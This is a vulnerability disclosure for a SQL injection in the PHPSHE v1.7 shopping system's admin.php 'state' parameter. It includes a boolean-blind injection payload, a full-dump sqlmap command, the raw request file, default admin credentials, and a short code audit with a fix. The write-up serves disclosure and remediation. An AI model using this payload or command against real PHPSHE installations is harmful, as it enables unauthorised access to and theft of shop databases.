PHPSHE1.7 admin.php SqlInjection Vulnerability -2

[kk98kk0]

Vulnerability description

Test object:

(1) website: PHPSHE shopping system V1.7

(2) the website domain name: http://www.phpshe.com/

(3) IP address: http://www.phpshe.com/down/phpshe1.7.rar

(4) version: PHPSHE B2C mall system v1.7 (build 20180905 UTF8)

Detection time:

January 6, 2019
Vulnerability description:
Lingbao Jianhao network technology co., LTD. PHPSHE cms system background - SQL injection vulnerability.

POC and validation

Local setup environment:

1, download PHPSHE V1.7 cms system at http://www.phpshe.com/down/phpshe1.7.rar

2, the background to http://localhost/phpshe1.7/admin.php, the password is admin/admin

3. Verify by the following POC verification methods.

Vulnerability injection point:

Parameter: state (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: mod=order&state=wtuan' AND 3809=(SELECT (CASE WHEN (3809=3809) THEN 3809 ELSE (SELECT 6050 UNION SELECT 8971) END))-- LULI

Vulnerability verification method:
python sqlmap.py -r 22.txt --batch -o --dbms=mysql --level 3 -a

22. TXT file contents:

GET /phpshe1.7/admin.php?mod=order&state=wtuan HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: XDEBUG_SESSION=XDEBUG_ECLIPSE; PHPSESSID=f29hn1a9eo2g3o2qcdq1241hf0
Upgrade-Insecure-Requests: 1

Vulnerability identification


The solution
Background avoid parameter splicing.

Code audit:
Local environment.

GET /phpshe1.7/admin.php?mod=order&state=wtuan
The admin.php line 87 execution flow introduces the order.php line 220 pe_selectall function to count the order list.

The pe_selectall function is defined on line 208 of db.class.php.

The Pe_selectall function handles conditional statements through the _dowhere function,The sql_selectall function displays the number of transactions per page.The malicious SQL is spliced in the _dowhere function.Last injection successful.